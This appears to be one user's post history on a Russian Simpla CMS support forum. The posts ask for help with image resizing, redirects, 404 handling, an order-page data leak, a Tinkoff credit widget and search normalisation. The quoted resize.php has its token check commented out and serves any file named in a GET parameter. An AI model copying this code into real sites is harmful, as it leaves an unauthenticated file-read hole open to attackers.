    				return $plural1;
    		}
    	
    	}
    
    	public function first_modifier($params = array())
    	{
    		if(!is_array($params))
    			return false;
    		return reset($params);
    	}
    
    	public function cut_modifier($array, $num=1)
    	{
    		if($num>=0)
    	    	return array_slice($array, $num, count($array)-$num, true);
    	    else
    	    	return array_slice($array, 0, count($array)+$num, true);
    	}
    	
    	public function date_modifier($date, $format = null)
    	{
    		if(empty($date))
    			$date = date("Y-m-d");
    	    return date(empty($format)?$this->settings->date_format:$format, strtotime($date));
    	}
    	
    	public function time_modifier($date, $format = null)
    	{
    	    return date(empty($format)?'H:i':$format, strtotime($date));
    	}
    	
    }

    resize/resize.php

    <?php
    
    
    chdir('..');
    require_once('api/Simpla.php');
    
    $filename = $_GET['file'];
    $token = $_GET['token'];
    $brands = $_GET['brands'];
    
    $filename = str_replace('%2F', '/', $filename);
    
    //if(substr($filename, 0, 6) == 'http:/')
    //	$filename = 'http://'.substr($filename, 6);
    
    
    $simpla = new Simpla();
    
    /*if(!$simpla->config->check_token($filename, $token))
    	exit('bad token');*/		
    
    if($brands)
        $resized_filename =  $simpla->image->resize($filename, $brands);
    else
        $resized_filename =  $simpla->image->resize($filename);
    
    	
    //$resized_filename =  $simpla->image->resize($filename);
    //if(is_readable($resized_filename))
    //	header('Location: '.$_SERVER['REQUEST_URI']);
    
    if(is_readable($resized_filename))
    {
    	header('Content-type: image');
    	print file_get_contents($resized_filename);
    }
    

     

  7. Ребят, помогите найти ошибку. На сайте изображения ресайзятся через ImageMagick. Ссылки на изображения без токенов.

    Если удалить изображение из товара, и обратиться к нему по той ссылке, по которой оно раньше было доступно, то сервер сваливается с ошибкой 500, а по идее должен либо 404 либо 403 отдавать (?)

    Строка 338 это:

    if(!$thumb->readImage($src_file))

    в функции:

    private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2, $strict=null)
    	{
    		$thumb = new Imagick();
    		
    		// Читаем изображение
    		if(!$thumb->readImage($src_file))
    			return false;
    		
    		// Размеры исходного изображения
    		$src_w = $thumb->getImageWidth();
    		$src_h = $thumb->getImageHeight();
    		
    		// Нужно ли обрезать?
    		if (!$watermark && !$strict && ($src_w <= $max_w) && ($src_h <= $max_h))
    	    { 
    			// Нет - просто скопируем файл
    			if (!copy($src_file, $dst_file))
    				return false;
    			return true;
    	    }	
    			
    		if ($strict) {
    			$thumb->thumbnailImage($max_w, $max_h, true, true);
    		} else {
    			// Размеры превью при пропорциональном уменьшении
    			list($dst_w, $dst_h) = $this->calc_contrain_size($src_w, $src_h, $max_w, $max_h);
    		
    			// Уменьшаем
    			$thumb->thumbnailImage($dst_w, $dst_h);
    		}
    		
    		// Устанавливаем водяной знак
    		if($watermark && is_readable($watermark))
    		{
    			$overlay = new Imagick($watermark);
    			
    			$overlay->evaluateImage(Imagick::EVALUATE_MULTIPLY, $watermark_opacity, Imagick::CHANNEL_ALPHA);
    			
    			// Get the size of overlay 
    			$owidth = $overlay->getImageWidth(); 
    			$oheight = $overlay->getImageHeight();
    			
    			if ($strict) {
    				$watermark_x = min(($max_w-$owidth)*$watermark_offet_x/100, $max_w); 
    				$watermark_y = min(($max_h-$oheight)*$watermark_offet_y/100, $max_h); 
    			} else {
    				$watermark_x = min(($dst_w-$owidth)*$watermark_offet_x/100, $dst_w); 
    				$watermark_y = min(($dst_h-$oheight)*$watermark_offet_y/100, $dst_h); 
    			}
    			
    		}
    		
    		// Убираем комменты и т.п. из картинки
    		$thumb->stripImage();
    
    		// Записываем картинку
    		if(!$thumb->writeImages($dst_file, true))
    			return false;
    		
    		// Уборка
    		$thumb->destroy();
    		if(isset($overlay) && is_object($overlay))
    			$overlay->destroy();
    		
    		return true;
    	}

    Куда копать? Спасибо.

  8. В 10.03.2015 в 13:37, Kors сказал:

    Спасибо, сделано очень аккуратно. Только в п.4 накручено лишнее. Куда проще вставить ОДИН раз в ОДНОМ месте:

    
    $uri=trim($_SERVER['REQUEST_URI'], '/');
    $red = $view->redirect->get_redirect($uri);
        if($uri==$red->url && $red->visible==1)
        {
        header('HTTP/1.1 301 Moved Permanently');
        header('Location: '.$red->url_red);
        exit;
    
        }

     

     

    Кстати, тут ещё можно добавить удаление всяких get-параметров, если нужно или они были раньше в ссылках:

    $uri = trim(strtok($_SERVER['REQUEST_URI'], '?'), '/');

     

  9. 4 часа назад, 6cnitymi сказал:

    Можете поделиться, пожалуйста?

    https://cloud.mail.ru/public/3GgG/vGbnbuykt

    Возможно, вам потребуется вносить правки в зависимости от того, как у вас настроены общие редиректы в .htaccess

    Не знаю, как было изначально задумано, но в админке я вношу url в следующем виде:

    Откуда: catalog/razdel-1

    Куда: /catalog/razdel

    Именно так, и слэш в новом ur; должен стоять в начале. Думаю, разберетесь)

  10. Только что, alexivchenko сказал:

    На пальцах не понять, может и проблема в Last-Modified, а может и в еще в другом. 
    я могу вам скинуть кусок кода, который работает через composer, поймете в чем ошибка?

    Надо смотреть на месте  

    попробую, конечно, спасибо)

  11. 41 минуту назад, alexivchenko сказал:

    Баг не в ордере, а в обработке 404 страницы. Если такого заказа нет, то и система должна выдать 404. 

    Разве вот этот код из CartView.php не должен отдавать 404?

    if(!$order)
    	return false;

     

  12. 23 минуты назад, alexivchenko сказал:

    Баг не в ордере, а в обработке 404 страницы. Если такого заказа нет, то и система должна выдать 404. 

    У меня были кое-какие доработки, сейчас в index.php кусок кода с 404 выглядит так:

    // Если все хорошо
    if(($res = $view->fetch()) !== false)
    {
    	// Выводим результат
    	header("Content-type: text/html; charset=UTF-8");	
        
        if($view->last_modified) {
            $LastModified_unix = strtotime($view->last_modified); // время последнего изменения страницы
    		$LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix);
    		$IfModifiedSince = false;
    		if (isset($_ENV['HTTP_IF_MODIFIED_SINCE']))
    			$IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5));  
    		if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
    			$IfModifiedSince = strtotime(substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 5));
    		if ($IfModifiedSince && $IfModifiedSince >= $LastModified_unix) {
    			header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified');
    			exit;
    		}
    		header('Last-Modified: '. $LastModified);
        }
        
    	print $res;
    
    	// Сохраняем последнюю просмотренную страницу в переменной $_SESSION['last_visited_page']
    	if(empty($_SESSION['last_visited_page']) || empty($_SESSION['current_page']) || $_SERVER['REQUEST_URI'] !== $_SESSION['current_page'])
    	{
    		if(!empty($_SESSION['current_page']) && !empty($_SESSION['last_visited_page']) && $_SESSION['last_visited_page'] !== $_SESSION['current_page'])
    			$_SESSION['last_visited_page'] = $_SESSION['current_page'];
    		$_SESSION['current_page'] = $_SERVER['REQUEST_URI'];
    	}		
    }
    else 
    { 
    	// Иначе страница об ошибке
    	header("http/1.0 404 not found");
    	
    	// Подменим переменную GET, чтобы вывести страницу 404
    	$_GET['page_url'] = '404';
    	$_GET['module'] = 'PageView';
    	print $view->fetch();   
    }

    Видимо, косяк где-то здесь?

  13. Здравствуйте.

    Обнаружил странный баг на странице заказа. Допустим, есть оформленный заказ, который открывается по ссылке site.com/order/395b4c2943b1735832bab94bf8eede55

    Если удалить этот заказ в админке и обновить в браузере страницу с заказом, то на страницу начнут выгружаться списком все товары из ранее оформленных заказов с ценами.

    Подскажите, как исправить?

    В файле CartView.php функция вывода выглядит так:

     

    function fetch_order()
    	{
    		if($url = $this->request->get('url', 'string'))
    			$order = $this->orders->get_order((string)$url);
    		elseif(!empty($_SESSION['order_id']))
    			$order = $this->orders->get_order(intval($_SESSION['order_id']));
    		else
    			return false;
    			
    		if(!$order)
    			return false;
    						
    		$purchases = $this->orders->get_purchases(array('order_id'=>intval($order->id)));
    		if(!$purchases)
    			return false;
    			
    		if($this->request->method('post'))
    		{
    			if($payment_method_id = $this->request->post('payment_method_id', 'integer'))
    			{
    				$this->orders->update_order($order->id, array('payment_method_id'=>$payment_method_id));
    				$order = $this->orders->get_order((integer)$order->id);
    			}
    			elseif($this->request->post('reset_payment_method'))
    			{
    				$this->orders->update_order($order->id, array('payment_method_id'=>null));
    				$order = $this->orders->get_order((integer)$order->id);
    			}
    		}
    		
    		$products_ids = array();
    		$variants_ids = array();
    		foreach($purchases as $purchase)
    		{
    			$products_ids[] = $purchase->product_id;
    			$variants_ids[] = $purchase->variant_id;
    		}
    		$products = array();
    		foreach($this->products->get_products(array('id'=>$products_ids)) as $p)
    			$products[$p->id] = $p;
    		
    		$images = $this->products->get_images(array('product_id'=>$products_ids));
    		foreach($images as $image)
    			$products[$image->product_id]->images[] = $image;
    		
    		$variants = $images_ids = array();
    		foreach($this->variants->get_variants(array('id'=>$variants_ids)) as $v){
    			$variants[$v->id] = $v;
                if(!empty($v->images_ids))
                    $images_ids = array_merge($images_ids,explode(',',$v->images_ids));
            }
    		
            $temp_images = $this->products->get_images(array('id'=>$images_ids));
            $images = array();
            foreach($temp_images as $image)
            	$images[$image->id] = $image; 
    	
    		foreach($variants as $variant)
    			$products[$variant->product_id]->variants[] = $variant;
    		
    		// Категория товара в заказе
    		foreach($products as &$product){
        		$product->categories = $this->categories->get_categories(array('product_id'=>$product->id));
        		$product->category = reset($product->categories);        
    		}
    
    		foreach($purchases as &$purchase)
    		{
    			if(!empty($products[$purchase->product_id]))
    				$purchase->product = $products[$purchase->product_id];
    			if(!empty($variants[$purchase->variant_id]))
    			{
    				$purchase->variant = $variants[$purchase->variant_id];
                    if(!empty($purchase->variant->images_ids))
                        $purchase->image = $images[current(explode(',',$purchase->variant->images_ids))];
    			}
                
                $purchase->pre_price = $purchase->price;
                $purchase->price = floor($purchase->price*(100-$purchase->discount)/100);
    		}
    		
    		// Способ доставки
    		$delivery = $this->delivery->get_delivery($order->delivery_id);
    		$this->design->assign('delivery', $delivery);
    			
    		$this->design->assign('order', $order);
    		$this->design->assign('purchases', $purchases);
    
    		// Способ оплаты
    		if($order->payment_method_id)
    		{
    			$payment_method = $this->payment->get_payment_method($order->payment_method_id);
    			$this->design->assign('payment_method', $payment_method);
    		}
    			
    		// Варианты оплаты
    		$payment_methods = $this->payment->get_payment_methods(array('delivery_id'=>$order->delivery_id, 'enabled'=>1));
    		$this->design->assign('payment_methods', $payment_methods);
    
    		// Все валюты
    		$this->design->assign('all_currencies', $this->money->get_currencies());
    
    		
    		
    		// Выводим заказ
    		return $this->body = $this->design->fetch('order.tpl');
    	}

     

  14. В 04.03.2023 в 08:19, phukortsin сказал:

    то " это тире" не учитывается ни в каком месте, так как его в поисковой фразе нет и учитывать его в принципе нельэя.

    Тогда такой вопрос: поиск ведь понимает, что тире в запросе  AB012 1 нет, но выдает конкретный товар с тире. обратную ситуацию можно сделать? Когда в запросе есть тире, а в названии товара нет тире? Но поиск выдаст нужный резльтат.

  15. В 23.02.2023 в 14:17, phukortsin сказал:

    Пока не придумали не только оптимального, но и вообще сколь-нибудь подходящего. Причем даже на самых передовых сайтах.

    Сравните результаты поиска  на фразы '7849-80-14' и '78498014' в Google. Или в Яндекс.

    Хотите, чтоб простая CMS таких гигантов превзошла?

     

     

     

    Обратил внимание, на следующую вещь: есть товары в названии которых содержится текст вида AB012-* (AB012-1, AB012-2 и AB012-3). Если в строке поиска набрать AB012 1 без тире, то живой поиск предложит все три товара (AB012-1, AB012-2 и AB012-3), но если сделать post-запрос, то на новой странице открывается конкретный товар AB012-1

    В каком месте учитывается это тире при post-запросе?

  16. В 02.12.2021 в 09:47, phukortsin сказал:

     

    Бессмыслица. Поиск ищет не буквы, а ТОВАРЫ по соответствию текстов в поисковой фразе. Например, ввели поисковую строку 'мар', ей соответствуют товары, у которых в текстах (названия, меты, что-то другое) встречается 'марля' или 'мармелад' или 'амарант'.

    Уже сказано - пробуйте объяснить свои хотелки на примере, ТОЧНО. Скажем, ввели поисковая фразу 'дом кота'. Что в этом случае хотите искать в текстах продуктов? Из того сумбура, что пишете, можно предположить:

    В1. Искать текст 'домкота' (удален пробел). В результате ничего не найдется!

    В2. Искать товары, у которых встречаются ВСЕ из текстов 'д', 'о', 'м', 'к', 'о', 'т', 'а', (каждый символ отдельно). Найдется много чего, но со смыслом поиска связи никакой.

    В3. Искать товары, у которых встречаются хотя бы один из текстов 'д', 'о', 'м', 'к', 'о', 'т', 'а'. Результат - будет найдены почти все товары. Толку никакого...

     

     

     

     

    Если говорить о "живом" поиске. По мере набора текста, когда появляются выпадающие предложения. Беру ваш пример: товар называется 'дом кота'. Пользователь набирает: 'домкота' или 'дом-кота', ему предлагается перейти в товар 'дом кота'. Соответсвенно вариации могут быть разные, например, товар называется 'дом-кота'. Пользователь может набирать 'дом кота' или 'домкота', то ему нужно показать 'дом кота'.

  17. Здравствуйте!

    Пытаюсь подключить кредитование от Тинькофф, инструкции отсюда https://forma.tinkoff.ru/docs/credit/examples/

    Код в отдельном файле credit.tpl такой: 

    <div class="credit-form-submit btn btn-order">Оформить в <span>кредит</span></div>
    
    <script type="text/javascript">
    	$('.credit-form-submit').on('click',function(){
    		tinkoff.createDemo(
        		{
          		sum: 100500,
          		items: [{name: 'iphone 11', price: 100000, quantity: 1}, {name: 'Чехол', price: 500, quantity: 1}],
         		demoFlow: 'sms',
          		promoCode: 'installment_0_0_6_6',
          		shopId: 'SHOP_ID',
          		showcaseId: 'SHOWCASE_ID',
        		},
        		{view: 'newTab'}
      		)
    	});
    </script>

    Последовательность подключения в index.tpl:

    1. jQuery
    2. Скрипт Тинькофф
    3. {include 'credit.tpl'} с кодом выше

    В консоли ошибка GET https://site.ru 500 (Internal Server Error)

    Если в функции прописать что-нибудь другое, то всё работает, а с tinkoff.createDemo возникает 500. Просмотр кода страницы показывает, что страница перестаёт формироваться сразу после загрузки скрипта от Тинькофф (п.2), то есть в коде страницы последняя строчка это

    <script src="//forma.tinkoff.ru/static/onlineScript.js"></script>

    У меня часть JS вынесена в отдельные файлы и если переносить вызов tinkoff.createDemo в них - то всё работает. Не могу разобраться никак, наведите на путь истинный кто-нибудь) Сильно не пинайте, из меня программист на уровне домохозяйки)

  18. 3 часа назад, phukortsin сказал:

    Весьма общие и сложные вопросы ставите. Попробуйте сначала на человеческом языке объяснить то, что хотите, с примерами, учитывающими все тонкости. И надо хоть немного понимать, как работает текстовый поиск, и учитывать это в постановке задачи.

    Извините, не знаю, как ещё объяснить... ? Вроде, с примерами написал, что хотел бы увидеть.. Давайте по-другому попробую: живой поиск должен искать только буквы и цифры при наборе текста в строке поиска. Вводимые пользователем символы "пробел" и "тире" он должен игнорировать.

  19. В 27.11.2021 в 09:23, phukortsin сказал:

    Вы имеете в виду "живой" поиск

    Видимо его я имею ввиду, потому что интересует именно та часть, когда при вводе в строку поиска выпадают предложения с найденным товарами. Если я правильно понимаю, то эта часть относится к JS. В живом поиске можно не учитывать вводимые пробелы? То есть, независимо от того, как указано в названии товара, допустим 'AB30' или 'AB 30' или 'A B-30', то его можно найти даже указав с пробелами, без тире, или с тире в другом месте, например: 'AB 30' или 'A B30', или хоть 'A B-3 0'.

  20. 10 минут назад, phukortsin сказал:

    Зависит от того, как понимать "не учитывались".

    Простейший вариант - при обработке поисковой фразы удаляйте все пробелы и тире. Но это вряд ли даст тот результат, который хотите.

    Простыми средствами устранить недостатки, описанные в примерах, практически невозможно. Если пользователь ввел abcdefgh, то понять, что он имел в виду  и что искать - 'abc defgh' или 'ab cdefgh'. А если длинное слитное слово разбивать на несколько частей, то вариантов  будут тысячи...

    Благодарю за ответ. Тут чисто технически, скорее всего, проще убирать все пробелы из названия товара при выборке и из строки поиска, и потом сравнивать их. Разве в этом случае я не получу желаемый результат? Независимо от того, что введет пользователь в строку поиска, с пробелом или без, нужно ему показать тот товар, у которого в названии есть вхождение искомого запроса с пробелами или без оных.

    Не важно, что имел ввиду пользователь, важно, чтобы набор этих символов был найден в названии товара, ведь 'abc defgh' и 'ab cdefgh', ведь, с точки зрения машины, будет  = abcdefgh, если в названии товара убрать все пробелы, соотвественно товар будет показан пользователю как найденный.

    Делать гугл тут не надо, конечно. Поиск настолько примитивный, что он даже не найдет товар 'AB 30', если набрать '30 AB', но вот с пробелами решить хотелось бы. Иногда  наблюдаю в Вебвизоре, как люди не находят желаемое и уходят с сайта только из-за того, что они не поставили пробел или наоборот поставили пробел в запросе в строке поиска.

     

    Может быть есть какие-то другие решения, кроме очистки от пробелов и тире каждого названия товара и поискового запроса пользователя..

  21. Добрый день! Подскажите, как сделать, чтобы в поиске не учитывались пробел(ы) и тире?

    Например, есть товар, в котором сдержится название модели AB 30 с пробелом. Если в поиске забивать AB30 без пробела, то он не показывает этот товар сразу. То есть чтобы найти нужные товары нужно задать поиск именно с пробелом.

    И обратная ситуация, когда в названии товара может быть указано AB30 без пробела, а пользователь скопировал с другого сайта с пробелом и пытается найти этот товар. Получается он вставил в строку поиска или набрал руками AB 30 и не находит товар, хотя он есть.

    Аналогично с тире.

    В api\Request.php у меня выглядит так:

    return strval(preg_replace('/[^\p{L}\p{Nd}\d\@\s_\-\.\%\s]/ui', '', $val));

     

×
×
  • Создать...